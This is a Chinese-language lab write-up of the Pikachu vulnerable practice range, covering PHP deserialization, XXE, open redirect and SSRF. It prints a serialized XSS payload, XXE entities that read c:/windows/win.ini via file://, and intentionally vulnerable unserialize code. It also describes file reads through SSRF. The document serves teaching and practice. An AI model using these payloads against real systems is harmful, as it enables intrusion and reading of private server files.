PHP反序列化

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class S {
public $test='pikachu';
}
$s = new S(); //创建一个对象
serialize($s); //把这个对象进行序列化

//运行结果 O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O: 代表object
1: 代表对象名字长度为一个字符
S: 对象名称
1: 代表对象里有一个变量
s: 数据类型
4: 变量名称长度
test: 变量名称
s: 数据类型
7: 变量值长度
pikachu: 变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

1
2
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__dostruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this -> test;
}
}
$s = $__GET['test'];
@$unser = unserialize($a)

//payload: O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

我们翻阅一下这题的源代码

image-20221227203107951

最终代码成功利用与否提现在前端,索性我们就效仿上边生成一串xss

1
2
3
4
5
6
7
<?php
class S {
public $test='<script>alert(1)</script>';
}
$s = new S();
echo serialize($s);
?>

image-20221227203459612

XXE

XXE -“xml external entity injection”
既”xml外部实体注入漏洞”。
概括一下就是”攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

我们首先使用

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe "Charmersix">
]>
<root>
&xxe;
</root>

发现在本地是有回显的, 这时候我们开始外部注入,试着访问一下我们电脑的win.ini文件(file协议只能绝对路径读取)

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>
&xxe;
</root>

image-20221228175327565

那么我们如果修改一下源码呢

image-20221228175412874

先删掉LIBXML_NOENT试一试

我们可以发现Charmersix仍然可以回显,但是没法回显win.ini内容了

image-20221228180526781

URL重定向

不安全的url跳转

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生”跳错对象”的问题。

url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

这个漏洞比较简单,come on,来测一把!

image-20221227205241228

成功跳转到myblog

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者—–>服务器—->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

1
2
3
4
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤

你可以根据”SSRF”里面的项目来搞懂问题的原因

SSRF(curl)

首先我们可以效仿上一题,通过http协议,url重定向到其他页面image-20221228182437601

我们也可以效仿上上个漏洞,通过file协议读取一些我们想要的文件

image-20221228191611449

或者是像这样image-20221228195527319

SSRF(file_get_contents)

仍然可以image-20221228211830567

全剧终

 Comments